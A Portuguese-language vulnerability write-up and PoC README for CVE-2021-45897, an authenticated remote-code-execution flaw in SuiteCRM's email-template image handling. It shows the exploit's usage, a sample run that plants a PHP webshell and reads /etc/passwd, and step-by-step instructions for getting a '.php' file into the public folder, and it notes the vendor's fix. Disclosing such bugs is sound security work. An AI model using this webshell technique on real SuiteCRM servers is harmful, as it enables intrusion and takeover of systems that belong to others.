
Exploit de RCE autenticado para SuiteCRM <= 8.0.1 via upload de imagem em modelo de e-mail, implantando um webshell em PHP para execução remota de comandos.
PoC para CVE-2021-45897, também conhecida como SCRMBT-#180 - RCE via Modelos de E-mail (somente autenticado) no SuiteCRM <= 8.0.1
Esta vulnerabilidade foi reportada à SalesAgility e corrigida no SuiteCRM 7.12.3 e no SuiteCRM Core 8.0.2. Se você estiver usando versões mais antigas do SuiteCRM, recomendo fortemente que atualize.
Instalação
python3 e do pip instalados.git clone https://github.com/manuelz120/CVE-2021-45897.gitpip3 install -r "requirements.txt"Opções disponíveis:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45897
Exemplo de uso:
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------ Ending command output ------
INFO:CVE-2021-45897:Enjoy your shell :)
Recentemente descobri um vetor de ataque RCE interessante no Software SuiteCRM baseado em PHP. A vulnerabilidade permite que um atacante autenticado com acesso ao módulo EmailTemplates faça upload de arquivos PHP maliciosos, que podem ser usados para obter execução remota de código.
Do meu ponto de vista, o tratamento geral de upload de arquivos no SuiteCRM parece bastante seguro. Embora haja muito código personalizado, os desenvolvedores prestaram atenção especial em remover quaisquer extensões de arquivo (o que acontece para a maioria dos tipos de arquivo) ou validar as extensões e sanitizar o conteúdo no caso de imagens. Existe até uma interface de plugin para carregar scanners de antivírus de terceiros e permitir que eles processem qualquer upload.
No entanto, tropecei aleatoriamente em um recurso interessante escondido em public/legacy/modules/EmailTemplates/EmailTemplate.php:
private function repairEntryPointImages()
{
global $sugar_config;
// repair the images url at entry points, change to a public direct link for remote email clients..
$html = from_html($this->body_html);
$siteUrl = $sugar_config['site_url'];
$regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';
if (preg_match($regex, $html, $match)) {
$splits = explode('.', $match[1]);
$fileExtension = end($splits);
$this->makePublicImage($match[2], $fileExtension);
$newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
$this->body_html = to_html(str_replace($match[1], $newSrc, $html));
$this->imageLinkReplaced = true;
$this->repairEntryPointImages();
}
}
private function makePublicImage($id, $ext = 'jpg')
{
$toFile = 'public/' . $id . '.' . $ext;
if (file_exists($toFile)) {
return;
}
$fromFile = 'upload://' . $id;
if (!file_exists($fromFile)) {
throw new Exception('file not found');
}
if (!file_exists('public')) {
sugar_mkdir('public', 0777);
}
$fdata = file_get_contents($fromFile);
if (!file_put_contents($toFile, $fdata)) {
throw new Exception('file write error');
}
}
O SuiteCRM permite que os usuários criem modelos de e-mail. Os modelos também podem conter anexos, que são armazenados em um módulo separado (o módulo Notes). Os usuários podem anexar arquivos arbitrários aos modelos de e-mail. O conteúdo do arquivo não é sanitizado de forma alguma. No entanto, ele é armazenado sem extensão, então mesmo que contenha código PHP potencialmente malicioso, não seria executado pelo servidor web. Usuários autenticados também podem baixar esses anexos usando um link no formato /index.php?entryPoint=download&type=Notes&id=<note-id>.
A função repairEntryPointImages é acionada sempre que um modelo de e-mail é salvo ou acessado. Se observarmos o código, podemos ver que ele analisa a marcação (body_html) do modelo de e-mail e procura tags HTML img com um atributo src especial. A expressão regular basicamente se assemelha ao formato do link interno de download de anexos. No entanto, esses links só funcionam para usuários autenticados no SuiteCRM, o que provavelmente não é o caso do destinatário do e-mail. Portanto, o SuiteCRM cria automaticamente uma cópia do anexo na pasta public do servidor web e substitui o link interno de download pela versão pública. Para garantir que o cliente de e-mail exiba corretamente as imagens, ele também adiciona uma extensão de arquivo. No entanto, a extensão do arquivo de destino na pasta pública é retirada diretamente do parâmetro de consulta filename do src da imagem e não é validada (observe que o filename não aciona nenhuma outra lógica e pode ser escolhido livremente).
Agora temos tudo para criar um exploit que faz upload de um webshell PHP na pasta public:
Notes enviando um webshell PHP. Lembre-se do id da Note/index.php?entryPoint=download&type=Notes&id=<note_id>repairEntryPointImages, mas use .php para o parâmetro de consulta filename (por exemplo, /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).repairEntryPointImages e copiará nosso webshell com extensão .php para a pasta publichttp://<<host>>/public/<<note_id>>.phpPouco depois do meu relatório, novas versões do SuiteCRM (7.12.3 e 8.0.2) foram lançadas, contendo a seguinte correção:

Isso garante que apenas extensões de arquivo de imagem válidas sejam usadas em repairEntryPointImages e impede a criação de arquivos com extensões não permitidas, como .php.